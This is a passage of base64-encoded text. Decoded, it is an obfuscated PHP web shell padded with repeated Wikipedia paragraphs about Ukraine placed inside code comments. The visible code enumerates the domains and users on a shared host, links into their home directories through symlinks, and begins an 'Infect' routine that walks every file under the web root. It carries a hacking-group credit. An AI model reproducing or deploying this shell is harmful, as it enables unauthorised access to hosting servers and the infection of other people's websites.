BVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKZmx1c2goKTsKCmlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsKCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21haW5zWzFdWzBdKSk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwplY2hvICI8dHI+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW5zWzFdWzBdLiIvPiIuJGRvbWFpbnNbMV1bMF0uIjwvYT48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PHRkPjxhIGhyZWY9J3N5bS94LnR4dC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJz5NaXJlbW9zPC9hPjwvdGQ+PC90cj4iOyBmbHVzaCgpOwoKfX19CgplY2hvICI8L3RhYmxlPiAKPHAgYWxpZ249J2NlbnRlcic+IApGYWlsUm9vdCdDb2QzcnogPGEgaHJlZj0naHR0cDovL2ZhaWxyb290LndvcmRwcmVzcy5jb20vJz5GYWlsUm9vdC1TZWMuQ29tPC9hPiB8IDxhICAKCmhyZWY9J2h0dHA6Ly93V3cuc0VjNEV2RXIuQ29NLyc+d1d3LnNFYzRFdkVyLkNvTTwvYT48YnI+IAo8L3A+IAoiOyAKCXByaW50Rm9vdGVyKCk7Cn0KLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCmZ1bmN0aW9uIGFjdGlvbkluZmVjdCgpIHsKCXByaW50SGVhZGVyKCk7CgllY2hvICc8aDE+SW5mZWN0PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWlmKCRfUE9TVFsncDEnXSA9PSAnaW5mZWN0JykgewoJCSR0YXJnZXQ9JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsKCQkJZnVuY3Rpb24gTGlzdEZpbGVzKCRkaXIpIHsKCQkJCWlmKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQkJCQkkZmlsZXMgPSBBcnJheSgpOwoJCQkJCSRpbm5lcl9maWxlcyA9IEFycmF5KCk7CgkJCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKCQkJCQkJaWYoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpIHsKCQkJCQkJCWlmKGlzX2RpcigkZGlyIC4gIi8iIC4gJGZpbGUpKSB7CgkJCQkJCQkJJGlubmVyX2ZpbGVzID0gTGlzdEZpbGVzKCRkaXIgLiAiLyIgLiAkZmlsZSk7CgkJCQkJCQkJaWYoaXNfYXJyYXkoJGlubmVyX2ZpbGVzKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkaW5uZXJfZmlsZXMpOyAKCQkJCQkJCX0gZWxzZSB7CgkJCQkJCQkJYXJyYXlfcHVzaCgkZmlsZXMsICRkaXIgLiAiLyIgLiAkZmlsZSk7CgkJCQkJCQl9Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFu